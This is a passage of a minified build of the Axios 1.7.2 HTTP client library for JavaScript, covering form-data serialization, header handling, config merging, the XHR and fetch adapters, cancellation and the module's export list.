D.isArray(e)&&!e.some(z)}(e)||(D.isFileList(e)||D.endsWith(n,"[]"))&&(a=D.toArray(e)))return n=M(n),a.forEach((function(e,r){!D.isUndefined(e)&&null!==e&&t.append(!0===i?H([n],r,s):null===i?n:n+"[]",c(e))})),!1;return!!z(e)||(t.append(H(o,n,s),c(e)),!1)}const l=[],f=Object.assign(J,{defaultVisitor:u,convertValue:c,isVisitable:z});if(!D.isObject(e))throw new TypeError("data must be an object");return function e(n,r){if(!D.isUndefined(n)){if(-1!==l.indexOf(n))throw Error("Circular reference detected in "+r.join("."));l.push(n),D.forEach(n,(function(n,s){!0===(!(D.isUndefined(n)||null===n)&&o.call(t,n,D.isString(s)?s.trim():s,r,f))&&e(n,r?r.concat(s):[s])})),l.pop()}}(e),t}function V(e){const t={"!":"%21","'":"%27","(":"%28",")":"%29","~":"%7E","%20":"+","%00":"\0"};return encodeURIComponent(e).replace(/[!'()~]|%20|%00/g,(function(e){return t[e]}))}function K(e,t){this._pairs=[],e&&W(e,this,t)}const $=K.prototype;function G(e){return encodeURIComponent(e).replace(/%3A/gi,":").replace(/%24/g,"$").replace(/%2C/gi,",").replace(/%20/g,"+").replace(/%5B/gi,"[").replace(/%5D/gi,"]")}function X(e,t,n){if(!t)return e;const r=n&&n.encode||G,o=n&&n.serialize;let s;if(s=o?o(t,n):D.isURLSearchParams(t)?t.toString():new K(t,n).toString(r),s){const t=e.indexOf("#");-1!==t&&(e=e.slice(0,t)),e+=(-1===e.indexOf("?")?"?":"&")+s}return e}$.append=function(e,t){this._pairs.push([e,t])},$.toString=function(e){const t=e?function(t){return e.call(this,t,V)}:V;return this._pairs.map((function(e){return t(e[0])+"="+t(e[1])}),"").join("&")};const Q=class{constructor(){this.handlers=[]}use(e,t,n){return this.handlers.push({fulfilled:e,rejected:t,synchronous:!!n&&n.synchronous,runWhen:n?n.runWhen:null}),this.handlers.length-1}eject(e){this.handlers[e]&&(this.handlers[e]=null)}clear(){this.handlers&&(this.handlers=[])}forEach(e){D.forEach(this.handlers,(function(t){null!==t&&e(t)}))}},Z={silentJSONParsing:!0,forcedJSONParsing:!0,clarifyTimeoutError:!1},Y={isBrowser:!0,classes:{URLSearchParams:"undefined"!=typeof URLSearchParams?URLSearchParams:K,FormData:"undefined"!=typeof FormData?FormData:null,Blob:"undefined"!=typeof Blob?Blob:null},protocols:["http","https","file","blob","url","data"]},ee="undefined"!=typeof window&&"undefined"!=typeof document,te=(ne="undefined"!=typeof navigator&&navigator.product,ee&&["ReactNative","NativeScript","NS"].indexOf(ne)<0);var ne;const re="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope&&"function"==typeof self.importScripts,oe=ee&&window.location.href||"http://localhost",se={...Object.freeze({__proto__:null,hasBrowserEnv:ee,hasStandardBrowserWebWorkerEnv:re,hasStandardBrowserEnv:te,origin:oe}),...Y};function ie(e){function t(e,n,r,o){let s=e[o++];if("__proto__"===s)return!0;const i=Number.isFinite(+s),a=o>=e.length;if(s=!s&&D.isArray(r)?r.length:s,a)return D.hasOwnProp(r,s)?r[s]=[r[s],n]:r[s]=n,!i;r[s]&&D.isObject(r[s])||(r[s]=[]);return t(e,n,r[s],o)&&D.isArray(r[s])&&(r[s]=function(e){const t={},n=Object.keys(e);let r;const o=n.length;let s;for(r=0;r<o;r++)s=n[r],t[s]=e[s];return t}(r[s])),!i}if(D.isFormData(e)&&D.isFunction(e.entries)){const n={};return D.forEachEntry(e,((e,r)=>{t(function(e){return D.matchAll(/\w+|\[(\w*)]/g,e).map((e=>"[]"===e[0]?"":e[1]||e[0]))}(e),r,n,0)})),n}return null}const ae={transitional:Z,adapter:["xhr","http","fetch"],transformRequest:[function(e,t){const n=t.getContentType()||"",r=n.indexOf("application/json")>-1,o=D.isObject(e);o&&D.isHTMLForm(e)&&(e=new FormData(e));if(D.isFormData(e))return r?JSON.stringify(ie(e)):e;if(D.isArrayBuffer(e)||D.isBuffer(e)||D.isStream(e)||D.isFile(e)||D.isBlob(e)||D.isReadableStream(e))return e;if(D.isArrayBufferView(e))return e.buffer;if(D.isURLSearchParams(e))return t.setContentType("application/x-www-form-urlencoded;charset=utf-8",!1),e.toString();let s;if(o){if(n.indexOf("application/x-www-form-urlencoded")>-1)return function(e,t){return W(e,new se.classes.URLSearchParams,Object.assign({visitor:function(e,t,n,r){return se.isNode&&D.isBuffer(e)?(this.append(t,e.toString("base64")),!1):r.defaultVisitor.apply(this,arguments)}},t))}(e,this.formSerializer).toString();if((s=D.isFileList(e))||n.indexOf("multipart/form-data")>-1){const t=this.env&&this.env.FormData;return W(s?{"files[]":e}:e,t&&new t,this.formSerializer)}}return o||r?(t.setContentType("application/json",!1),function(e,t,n){if(D.isString(e))try{return(t||JSON.parse)(e),D.trim(e)}catch(e){if("SyntaxError"!==e.name)throw e}return(n||JSON.stringify)(e)}(e)):e}],transformResponse:[function(e){const t=this.transitional||ae.transitional,n=t&&t.forcedJSONParsing,r="json"===this.responseType;if(D.isResponse(e)||D.isReadableStream(e))return e;if(e&&D.isString(e)&&(n&&!this.responseType||r)){const n=!(t&&t.silentJSONParsing)&&r;try{return JSON.parse(e)}catch(e){if(n){if("SyntaxError"===e.name)throw k.from(e,k.ERR_BAD_RESPONSE,this,null,this.response);throw e}}}return e}],timeout:0,xsrfCookieName:"XSRF-TOKEN",xsrfHeaderName:"X-XSRF-TOKEN",maxContentLength:-1,maxBodyLength:-1,env:{FormData:se.classes.FormData,Blob:se.classes.Blob},validateStatus:function(e){return e>=200&&e<300},headers:{common:{Accept:"application/json, text/plain, */*","Content-Type":void 0}}};D.forEach(["delete","get","head","post","put","patch"],(e=>{ae.headers[e]={}}));const ce=ae,ue=D.toObjectSet(["age","authorization","content-length","content-type","etag","expires","from","host","if-modified-since","if-unmodified-since","last-modified","location","max-forwards","proxy-authorization","referer","retry-after","user-agent"]),le=Symbol("internals");function fe(e){return e&&String(e).trim().toLowerCase()}function de(e){return!1===e||null==e?e:D.isArray(e)?e.map(de):String(e)}function he(e,t,n,r,o){return D.isFunction(r)?r.call(this,t,n):(o&&(t=n),D.isString(t)?D.isString(r)?-1!==t.indexOf(r):D.isRegExp(r)?r.test(t):void 0:void 0)}class pe{constructor(e){e&&this.set(e)}set(e,t,n){const r=this;function o(e,t,n){const o=fe(t);if(!o)throw new Error("header name must be a non-empty string");const s=D.findKey(r,o);(!s||void 0===r[s]||!0===n||void 0===n&&!1!==r[s])&&(r[s||t]=de(e))}const s=(e,t)=>D.forEach(e,((e,n)=>o(e,n,t)));if(D.isPlainObject(e)||e instanceof this.constructor)s(e,t);else if(D.isString(e)&&(e=e.trim())&&!/^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(e.trim()))s((e=>{const t={};let n,r,o;return e&&e.split("\n").forEach((function(e){o=e.indexOf(":"),n=e.substring(0,o).trim().toLowerCase(),r=e.substring(o+1).trim(),!n||t[n]&&ue[n]||("set-cookie"===n?t[n]?t[n].push(r):t[n]=[r]:t[n]=t[n]?t[n]+", "+r:r)})),t})(e),t);else if(D.isHeaders(e))for(const[t,r]of e.entries())o(r,t,n);else null!=e&&o(t,e,n);return this}get(e,t){if(e=fe(e)){const n=D.findKey(this,e);if(n){const e=this[n];if(!t)return e;if(!0===t)return function(e){const t=Object.create(null),n=/([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;let r;for(;r=n.exec(e);)t[r[1]]=r[2];return t}(e);if(D.isFunction(t))return t.call(this,e,n);if(D.isRegExp(t))return t.exec(e);throw new TypeError("parser must be boolean|regexp|function")}}}has(e,t){if(e=fe(e)){const n=D.findKey(this,e);return!(!n||void 0===this[n]||t&&!he(0,this[n],n,t))}return!1}delete(e,t){const n=this;let r=!1;function o(e){if(e=fe(e)){const o=D.findKey(n,e);!o||t&&!he(0,n[o],o,t)||(delete n[o],r=!0)}}return D.isArray(e)?e.forEach(o):o(e),r}clear(e){const t=Object.keys(this);let n=t.length,r=!1;for(;n--;){const o=t[n];e&&!he(0,this[o],o,e,!0)||(delete this[o],r=!0)}return r}normalize(e){const t=this,n={};return D.forEach(this,((r,o)=>{const s=D.findKey(n,o);if(s)return t[s]=de(r),void delete t[o];const i=e?function(e){return e.trim().toLowerCase().replace(/([a-z\d])(\w*)/g,((e,t,n)=>t.toUpperCase()+n))}(o):String(o).trim();i!==o&&delete t[o],t[i]=de(r),n[i]=!0})),this}concat(...e){return this.constructor.concat(this,...e)}toJSON(e){const t=Object.create(null);return D.forEach(this,((n,r)=>{null!=n&&!1!==n&&(t[r]=e&&D.isArray(n)?n.join(", "):n)})),t}[Symbol.iterator](){return Object.entries(this.toJSON())[Symbol.iterator]()}toString(){return Object.entries(this.toJSON()).map((([e,t])=>e+": "+t)).join("\n")}get[Symbol.toStringTag](){return"AxiosHeaders"}static from(e){return e instanceof this?e:new this(e)}static concat(e,...t){const n=new this(e);return t.forEach((e=>n.set(e))),n}static accessor(e){const t=(this[le]=this[le]={accessors:{}}).accessors,n=this.prototype;function r(e){const r=fe(e);t[r]||(!function(e,t){const n=D.toCamelCase(" "+t);["get","set","has"].forEach((r=>{Object.defineProperty(e,r+n,{value:function(e,n,o){return this[r].call(this,t,e,n,o)},configurable:!0})}))}(n,e),t[r]=!0)}return D.isArray(e)?e.forEach(r):r(e),this}}pe.accessor(["Content-Type","Content-Length","Accept","Accept-Encoding","User-Agent","Authorization"]),D.reduceDescriptors(pe.prototype,(({value:e},t)=>{let n=t[0].toUpperCase()+t.slice(1);return{get:()=>e,set(e){this[n]=e}}})),D.freezeMethods(pe);const me=pe;function ye(e,t){const n=this||ce,r=t||n,o=me.from(r.headers);let s=r.data;return D.forEach(e,(function(e){s=e.call(n,s,o.normalize(),t?t.status:void 0)})),o.normalize(),s}function be(e){return!(!e||!e.__CANCEL__)}function ge(e,t,n){k.call(this,null==e?"canceled":e,k.ERR_CANCELED,t,n),this.name="CanceledError"}function we(e,t,n){const r=n.config.validateStatus;n.status&&r&&!r(n.status)?t(new k("Request failed with status code "+n.status,[k.ERR_BAD_REQUEST,k.ERR_BAD_RESPONSE][Math.floor(n.status/100)-4],n.config,n.request,n)):e(n)}D.inherits(ge,k,{__CANCEL__:!0});const Ee=(e,t,n=3)=>{let r=0;const o=function(e,t){e=e||10;const n=new Array(e),r=new Array(e);let o,s=0,i=0;return t=void 0!==t?t:1e3,function(a){const c=Date.now(),u=r[i];o||(o=c),n[s]=a,r[s]=c;let l=i,f=0;for(;l!==s;)f+=n[l++],l%=e;if(s=(s+1)%e,s===i&&(i=(i+1)%e),c-o<t)return;const d=u&&c-u;return d?Math.round(1e3*f/d):void 0}}(50,250);return function(e,t){let n=0;const r=1e3/t;let o=null;return function(){const t=!0===this,s=Date.now();if(t||s-n>r)return o&&(clearTimeout(o),o=null),n=s,e.apply(null,arguments);o||(o=setTimeout((()=>(o=null,n=Date.now(),e.apply(null,arguments))),r-(s-n)))}}((n=>{const s=n.loaded,i=n.lengthComputable?n.total:void 0,a=s-r,c=o(a);r=s;const u={loaded:s,total:i,progress:i?s/i:void 0,bytes:a,rate:c||void 0,estimated:c&&i&&s<=i?(i-s)/c:void 0,event:n,lengthComputable:null!=i};u[t?"download":"upload"]=!0,e(u)}),n)},Oe=se.hasStandardBrowserEnv?function(){const e=/(msie|trident)/i.test(navigator.userAgent),t=document.createElement("a");let n;function r(n){let r=n;return e&&(t.setAttribute("href",r),r=t.href),t.setAttribute("href",r),{href:t.href,protocol:t.protocol?t.protocol.replace(/:$/,""):"",host:t.host,search:t.search?t.search.replace(/^\?/,""):"",hash:t.hash?t.hash.replace(/^#/,""):"",hostname:t.hostname,port:t.port,pathname:"/"===t.pathname.charAt(0)?t.pathname:"/"+t.pathname}}return n=r(window.location.href),function(e){const t=D.isString(e)?r(e):e;return t.protocol===n.protocol&&t.host===n.host}}():function(){return!0},Re=se.hasStandardBrowserEnv?{write(e,t,n,r,o,s){const i=[e+"="+encodeURIComponent(t)];D.isNumber(n)&&i.push("expires="+new Date(n).toGMTString()),D.isString(r)&&i.push("path="+r),D.isString(o)&&i.push("domain="+o),!0===s&&i.push("secure"),document.cookie=i.join("; ")},read(e){const t=document.cookie.match(new RegExp("(^|;\\s*)("+e+")=([^;]*)"));return t?decodeURIComponent(t[3]):null},remove(e){this.write(e,"",Date.now()-864e5)}}:{write(){},read:()=>null,remove(){}};function Se(e,t){return e&&!/^([a-z][a-z\d+\-.]*:)?\/\//i.test(t)?function(e,t){return t?e.replace(/\/?\/$/,"")+"/"+t.replace(/^\/+/,""):e}(e,t):t}const Te=e=>e instanceof me?{...e}:e;function Ae(e,t){t=t||{};const n={};function r(e,t,n){return D.isPlainObject(e)&&D.isPlainObject(t)?D.merge.call({caseless:n},e,t):D.isPlainObject(t)?D.merge({},t):D.isArray(t)?t.slice():t}function o(e,t,n){return D.isUndefined(t)?D.isUndefined(e)?void 0:r(void 0,e,n):r(e,t,n)}function s(e,t){if(!D.isUndefined(t))return r(void 0,t)}function i(e,t){return D.isUndefined(t)?D.isUndefined(e)?void 0:r(void 0,e):r(void 0,t)}function a(n,o,s){return s in t?r(n,o):s in e?r(void 0,n):void 0}const c={url:s,method:s,data:s,baseURL:i,transformRequest:i,transformResponse:i,paramsSerializer:i,timeout:i,timeoutMessage:i,withCredentials:i,withXSRFToken:i,adapter:i,responseType:i,xsrfCookieName:i,xsrfHeaderName:i,onUploadProgress:i,onDownloadProgress:i,decompress:i,maxContentLength:i,maxBodyLength:i,beforeRedirect:i,transport:i,httpAgent:i,httpsAgent:i,cancelToken:i,socketPath:i,responseEncoding:i,validateStatus:a,headers:(e,t)=>o(Te(e),Te(t),!0)};return D.forEach(Object.keys(Object.assign({},e,t)),(function(r){const s=c[r]||o,i=s(e[r],t[r],r);D.isUndefined(i)&&s!==a||(n[r]=i)})),n}const ve=e=>{const t=Ae({},e);let n,{data:r,withXSRFToken:o,xsrfHeaderName:s,xsrfCookieName:i,headers:a,auth:c}=t;if(t.headers=a=me.from(a),t.url=X(Se(t.baseURL,t.url),e.params,e.paramsSerializer),c&&a.set("Authorization","Basic "+btoa((c.username||"")+":"+(c.password?unescape(encodeURIComponent(c.password)):""))),D.isFormData(r))if(se.hasStandardBrowserEnv||se.hasStandardBrowserWebWorkerEnv)a.setContentType(void 0);else if(!1!==(n=a.getContentType())){const[e,...t]=n?n.split(";").map((e=>e.trim())).filter(Boolean):[];a.setContentType([e||"multipart/form-data",...t].join("; "))}if(se.hasStandardBrowserEnv&&(o&&D.isFunction(o)&&(o=o(t)),o||!1!==o&&Oe(t.url))){const e=s&&i&&Re.read(i);e&&a.set(s,e)}return t},Ce="undefined"!=typeof XMLHttpRequest&&function(e){return new Promise((function(t,n){const r=ve(e);let o=r.data;const s=me.from(r.headers).normalize();let i,{responseType:a}=r;function c(){r.cancelToken&&r.cancelToken.unsubscribe(i),r.signal&&r.signal.removeEventListener("abort",i)}let u=new XMLHttpRequest;function l(){if(!u)return;const r=me.from("getAllResponseHeaders"in u&&u.getAllResponseHeaders());we((function(e){t(e),c()}),(function(e){n(e),c()}),{data:a&&"text"!==a&&"json"!==a?u.response:u.responseText,status:u.status,statusText:u.statusText,headers:r,config:e,request:u}),u=null}u.open(r.method.toUpperCase(),r.url,!0),u.timeout=r.timeout,"onloadend"in u?u.onloadend=l:u.onreadystatechange=function(){u&&4===u.readyState&&(0!==u.status||u.responseURL&&0===u.responseURL.indexOf("file:"))&&setTimeout(l)},u.onabort=function(){u&&(n(new k("Request aborted",k.ECONNABORTED,r,u)),u=null)},u.onerror=function(){n(new k("Network Error",k.ERR_NETWORK,r,u)),u=null},u.ontimeout=function(){let e=r.timeout?"timeout of "+r.timeout+"ms exceeded":"timeout exceeded";const t=r.transitional||Z;r.timeoutErrorMessage&&(e=r.timeoutErrorMessage),n(new k(e,t.clarifyTimeoutError?k.ETIMEDOUT:k.ECONNABORTED,r,u)),u=null},void 0===o&&s.setContentType(null),"setRequestHeader"in u&&D.forEach(s.toJSON(),(function(e,t){u.setRequestHeader(t,e)})),D.isUndefined(r.withCredentials)||(u.withCredentials=!!r.withCredentials),a&&"json"!==a&&(u.responseType=r.responseType),"function"==typeof r.onDownloadProgress&&u.addEventListener("progress",Ee(r.onDownloadProgress,!0)),"function"==typeof r.onUploadProgress&&u.upload&&u.upload.addEventListener("progress",Ee(r.onUploadProgress)),(r.cancelToken||r.signal)&&(i=t=>{u&&(n(!t||t.type?new ge(null,e,u):t),u.abort(),u=null)},r.cancelToken&&r.cancelToken.subscribe(i),r.signal&&(r.signal.aborted?i():r.signal.addEventListener("abort",i)));const f=function(e){const t=/^([-+\w]{1,25})(:?\/\/|:)/.exec(e);return t&&t[1]||""}(r.url);f&&-1===se.protocols.indexOf(f)?n(new k("Unsupported protocol "+f+":",k.ERR_BAD_REQUEST,e)):u.send(o||null)}))},xe=(e,t)=>{let n,r=new AbortController;const o=function(e){if(!n){n=!0,i();const t=e instanceof Error?e:this.reason;r.abort(t instanceof k?t:new ge(t instanceof Error?t.message:t))}};let s=t&&setTimeout((()=>{o(new k(`timeout ${t} of ms exceeded`,k.ETIMEDOUT))}),t);const i=()=>{e&&(s&&clearTimeout(s),s=null,e.forEach((e=>{e&&(e.removeEventListener?e.removeEventListener("abort",o):e.unsubscribe(o))})),e=null)};e.forEach((e=>e&&e.addEventListener&&e.addEventListener("abort",o)));const{signal:a}=r;return a.unsubscribe=i,[a,()=>{s&&clearTimeout(s),s=null}]},Ne=function*(e,t){let n=e.byteLength;if(!t||n<t)return void(yield e);let r,o=0;for(;o<n;)r=o+t,yield e.slice(o,r),o=r},je=(e,t,n,r,o)=>{const s=async function*(e,t,n){for await(const r of e)yield*Ne(ArrayBuffer.isView(r)?r:await n(String(r)),t)}(e,t,o);let i=0;return new ReadableStream({type:"bytes",async pull(e){const{done:t,value:o}=await s.next();if(t)return e.close(),void r();let a=o.byteLength;n&&n(i+=a),e.enqueue(new Uint8Array(o))},cancel:e=>(r(e),s.return())},{highWaterMark:2})},Pe=(e,t)=>{const n=null!=e;return r=>setTimeout((()=>t({lengthComputable:n,total:e,loaded:r})))},_e="function"==typeof fetch&&"function"==typeof Request&&"function"==typeof Response,Fe=_e&&"function"==typeof ReadableStream,Le=_e&&("function"==typeof TextEncoder?(Ue=new TextEncoder,e=>Ue.encode(e)):async e=>new Uint8Array(await new Response(e).arrayBuffer()));var Ue;const Be=Fe&&(()=>{let e=!1;const t=new Request(se.origin,{body:new ReadableStream,method:"POST",get duplex(){return e=!0,"half"}}).headers.has("Content-Type");return e&&!t})(),De=Fe&&!!(()=>{try{return D.isReadableStream(new Response("").body)}catch(e){}})(),ke={stream:De&&(e=>e.body)};var qe;_e&&(qe=new Response,["text","arrayBuffer","blob","formData","stream"].forEach((e=>{!ke[e]&&(ke[e]=D.isFunction(qe[e])?t=>t[e]():(t,n)=>{throw new k(`Response type '${e}' is not supported`,k.ERR_NOT_SUPPORT,n)})})));const Ie=async(e,t)=>{const n=D.toFiniteNumber(e.getContentLength());return null==n?(async e=>null==e?0:D.isBlob(e)?e.size:D.isSpecCompliantForm(e)?(await new Request(e).arrayBuffer()).byteLength:D.isArrayBufferView(e)?e.byteLength:(D.isURLSearchParams(e)&&(e+=""),D.isString(e)?(await Le(e)).byteLength:void 0))(t):n},ze={http:null,xhr:Ce,fetch:_e&&(async e=>{let{url:t,method:n,data:r,signal:o,cancelToken:s,timeout:i,onDownloadProgress:a,onUploadProgress:c,responseType:u,headers:l,withCredentials:f="same-origin",fetchOptions:d}=ve(e);u=u?(u+"").toLowerCase():"text";let h,p,[m,y]=o||s||i?xe([o,s],i):[];const b=()=>{!h&&setTimeout((()=>{m&&m.unsubscribe()})),h=!0};let g;try{if(c&&Be&&"get"!==n&&"head"!==n&&0!==(g=await Ie(l,r))){let e,n=new Request(t,{method:"POST",body:r,duplex:"half"});D.isFormData(r)&&(e=n.headers.get("content-type"))&&l.setContentType(e),n.body&&(r=je(n.body,65536,Pe(g,Ee(c)),null,Le))}D.isString(f)||(f=f?"cors":"omit"),p=new Request(t,{...d,signal:m,method:n.toUpperCase(),headers:l.normalize().toJSON(),body:r,duplex:"half",withCredentials:f});let o=await fetch(p);const s=De&&("stream"===u||"response"===u);if(De&&(a||s)){const e={};["status","statusText","headers"].forEach((t=>{e[t]=o[t]}));const t=D.toFiniteNumber(o.headers.get("content-length"));o=new Response(je(o.body,65536,a&&Pe(t,Ee(a,!0)),s&&b,Le),e)}u=u||"text";let i=await ke[D.findKey(ke,u)||"text"](o,e);return!s&&b(),y&&y(),await new Promise(((t,n)=>{we(t,n,{data:i,headers:me.from(o.headers),status:o.status,statusText:o.statusText,config:e,request:p})}))}catch(t){if(b(),t&&"TypeError"===t.name&&/fetch/i.test(t.message))throw Object.assign(new k("Network Error",k.ERR_NETWORK,e,p),{cause:t.cause||t});throw k.from(t,t&&t.code,e,p)}})};D.forEach(ze,((e,t)=>{if(e){try{Object.defineProperty(e,"name",{value:t})}catch(e){}Object.defineProperty(e,"adapterName",{value:t})}}));const Me=e=>`- ${e}`,He=e=>D.isFunction(e)||null===e||!1===e,Je=e=>{e=D.isArray(e)?e:[e];const{length:t}=e;let n,r;const o={};for(let s=0;s<t;s++){let t;if(n=e[s],r=n,!He(n)&&(r=ze[(t=String(n)).toLowerCase()],void 0===r))throw new k(`Unknown adapter '${t}'`);if(r)break;o[t||"#"+s]=r}if(!r){const e=Object.entries(o).map((([e,t])=>`adapter ${e} `+(!1===t?"is not supported by the environment":"is not available in the build")));throw new k("There is no suitable adapter to dispatch the request "+(t?e.length>1?"since :\n"+e.map(Me).join("\n"):" "+Me(e[0]):"as no adapter specified"),"ERR_NOT_SUPPORT")}return r};function We(e){if(e.cancelToken&&e.cancelToken.throwIfRequested(),e.signal&&e.signal.aborted)throw new ge(null,e)}function Ve(e){We(e),e.headers=me.from(e.headers),e.data=ye.call(e,e.transformRequest),-1!==["post","put","patch"].indexOf(e.method)&&e.headers.setContentType("application/x-www-form-urlencoded",!1);return Je(e.adapter||ce.adapter)(e).then((function(t){return We(e),t.data=ye.call(e,e.transformResponse,t),t.headers=me.from(t.headers),t}),(function(t){return be(t)||(We(e),t&&t.response&&(t.response.data=ye.call(e,e.transformResponse,t.response),t.response.headers=me.from(t.response.headers))),Promise.reject(t)}))}const Ke={};["object","boolean","number","function","string","symbol"].forEach(((e,t)=>{Ke[e]=function(n){return typeof n===e||"a"+(t<1?"n ":" ")+e}}));const $e={};Ke.transitional=function(e,t,n){function r(e,t){return"[Axios v1.7.2] Transitional option '"+e+"'"+t+(n?". "+n:"")}return(n,o,s)=>{if(!1===e)throw new k(r(o," has been removed"+(t?" in "+t:"")),k.ERR_DEPRECATED);return t&&!$e[o]&&($e[o]=!0,console.warn(r(o," has been deprecated since v"+t+" and will be removed in the near future"))),!e||e(n,o,s)}};const Ge={assertOptions:function(e,t,n){if("object"!=typeof e)throw new k("options must be an object",k.ERR_BAD_OPTION_VALUE);const r=Object.keys(e);let o=r.length;for(;o-- >0;){const s=r[o],i=t[s];if(i){const t=e[s],n=void 0===t||i(t,s,e);if(!0!==n)throw new k("option "+s+" must be "+n,k.ERR_BAD_OPTION_VALUE)}else if(!0!==n)throw new k("Unknown option "+s,k.ERR_BAD_OPTION)}},validators:Ke},Xe=Ge.validators;class Qe{constructor(e){this.defaults=e,this.interceptors={request:new Q,response:new Q}}async request(e,t){try{return await this._request(e,t)}catch(e){if(e instanceof Error){let t;Error.captureStackTrace?Error.captureStackTrace(t={}):t=new Error;const n=t.stack?t.stack.replace(/^.+\n/,""):"";try{e.stack?n&&!String(e.stack).endsWith(n.replace(/^.+\n.+\n/,""))&&(e.stack+="\n"+n):e.stack=n}catch(e){}}throw e}}_request(e,t){"string"==typeof e?(t=t||{}).url=e:t=e||{},t=Ae(this.defaults,t);const{transitional:n,paramsSerializer:r,headers:o}=t;void 0!==n&&Ge.assertOptions(n,{silentJSONParsing:Xe.transitional(Xe.boolean),forcedJSONParsing:Xe.transitional(Xe.boolean),clarifyTimeoutError:Xe.transitional(Xe.boolean)},!1),null!=r&&(D.isFunction(r)?t.paramsSerializer={serialize:r}:Ge.assertOptions(r,{encode:Xe.function,serialize:Xe.function},!0)),t.method=(t.method||this.defaults.method||"get").toLowerCase();let s=o&&D.merge(o.common,o[t.method]);o&&D.forEach(["delete","get","head","post","put","patch","common"],(e=>{delete o[e]})),t.headers=me.concat(s,o);const i=[];let a=!0;this.interceptors.request.forEach((function(e){"function"==typeof e.runWhen&&!1===e.runWhen(t)||(a=a&&e.synchronous,i.unshift(e.fulfilled,e.rejected))}));const c=[];let u;this.interceptors.response.forEach((function(e){c.push(e.fulfilled,e.rejected)}));let l,f=0;if(!a){const e=[Ve.bind(this),void 0];for(e.unshift.apply(e,i),e.push.apply(e,c),l=e.length,u=Promise.resolve(t);f<l;)u=u.then(e[f++],e[f++]);return u}l=i.length;let d=t;for(f=0;f<l;){const e=i[f++],t=i[f++];try{d=e(d)}catch(e){t.call(this,e);break}}try{u=Ve.call(this,d)}catch(e){return Promise.reject(e)}for(f=0,l=c.length;f<l;)u=u.then(c[f++],c[f++]);return u}getUri(e){return X(Se((e=Ae(this.defaults,e)).baseURL,e.url),e.params,e.paramsSerializer)}}D.forEach(["delete","get","head","options"],(function(e){Qe.prototype[e]=function(t,n){return this.request(Ae(n||{},{method:e,url:t,data:(n||{}).data}))}})),D.forEach(["post","put","patch"],(function(e){function t(t){return function(n,r,o){return this.request(Ae(o||{},{method:e,headers:t?{"Content-Type":"multipart/form-data"}:{},url:n,data:r}))}}Qe.prototype[e]=t(),Qe.prototype[e+"Form"]=t(!0)}));const Ze=Qe;class Ye{constructor(e){if("function"!=typeof e)throw new TypeError("executor must be a function.");let t;this.promise=new Promise((function(e){t=e}));const n=this;this.promise.then((e=>{if(!n._listeners)return;let t=n._listeners.length;for(;t-- >0;)n._listeners[t](e);n._listeners=null})),this.promise.then=e=>{let t;const r=new Promise((e=>{n.subscribe(e),t=e})).then(e);return r.cancel=function(){n.unsubscribe(t)},r},e((function(e,r,o){n.reason||(n.reason=new ge(e,r,o),t(n.reason))}))}throwIfRequested(){if(this.reason)throw this.reason}subscribe(e){this.reason?e(this.reason):this._listeners?this._listeners.push(e):this._listeners=[e]}unsubscribe(e){if(!this._listeners)return;const t=this._listeners.indexOf(e);-1!==t&&this._listeners.splice(t,1)}static source(){let e;return{token:new Ye((function(t){e=t})),cancel:e}}}const et=Ye;const tt={Continue:100,SwitchingProtocols:101,Processing:102,EarlyHints:103,Ok:200,Created:201,Accepted:202,NonAuthoritativeInformation:203,NoContent:204,ResetContent:205,PartialContent:206,MultiStatus:207,AlreadyReported:208,ImUsed:226,MultipleChoices:300,MovedPermanently:301,Found:302,SeeOther:303,NotModified:304,UseProxy:305,Unused:306,TemporaryRedirect:307,PermanentRedirect:308,BadRequest:400,Unauthorized:401,PaymentRequired:402,Forbidden:403,NotFound:404,MethodNotAllowed:405,NotAcceptable:406,ProxyAuthenticationRequired:407,RequestTimeout:408,Conflict:409,Gone:410,LengthRequired:411,PreconditionFailed:412,PayloadTooLarge:413,UriTooLong:414,UnsupportedMediaType:415,RangeNotSatisfiable:416,ExpectationFailed:417,ImATeapot:418,MisdirectedRequest:421,UnprocessableEntity:422,Locked:423,FailedDependency:424,TooEarly:425,UpgradeRequired:426,PreconditionRequired:428,TooManyRequests:429,RequestHeaderFieldsTooLarge:431,UnavailableForLegalReasons:451,InternalServerError:500,NotImplemented:501,BadGateway:502,ServiceUnavailable:503,GatewayTimeout:504,HttpVersionNotSupported:505,VariantAlsoNegotiates:506,InsufficientStorage:507,LoopDetected:508,NotExtended:510,NetworkAuthenticationRequired:511};Object.entries(tt).forEach((([e,t])=>{tt[t]=e}));const nt=tt;const rt=function t(n){const r=new Ze(n),o=e(Ze.prototype.request,r);return D.extend(o,Ze.prototype,r,{allOwnKeys:!0}),D.extend(o,r,null,{allOwnKeys:!0}),o.create=function(e){return t(Ae(n,e))},o}(ce);rt.Axios=Ze,rt.CanceledError=ge,rt.CancelToken=et,rt.isCancel=be,rt.VERSION="1.7.2",rt.toFormData=W,rt.AxiosError=k,rt.Cancel=rt.CanceledError,rt.all=function(e){return Promise.all(e)},rt.spread=function(e){return function(t){return e.apply(null,t)}},rt.isAxiosError=function(e){return D.isObject(e)&&!0===e.isAxiosError},rt.mergeConfig=Ae,rt.AxiosHeaders=me,rt.formToJSON=e=>ie(D.isHTMLForm(e)?new FormData(e):e),rt.getAdapter=Je,rt.HttpStatusCode=nt,rt.default=rt;const ot=rt,{Axios:st,AxiosError:it,CanceledError:at,isCancel:ct,CancelToken:ut,VERSION:lt,all:ft,Cancel:dt,isAxiosError:ht,spread:pt,toFormData:mt,AxiosHeaders:yt,HttpStatusCode:bt,formToJSON:gt,getAdapter:wt,mergeConfig:Et}=ot;export{st as Axios,it as AxiosError,yt as AxiosHeaders,dt as Cancel,ut as CancelToken,at as CanceledError,bt as HttpStatusCode,lt as VERSION,ft as all,ot as default,gt as formToJSON,wt as getAdapter,ht as isAxiosError,ct as isCancel,Et as mergeConfig,pt as spread,mt as toFormData};
//# sourceMappingURL=axios.min.js.map
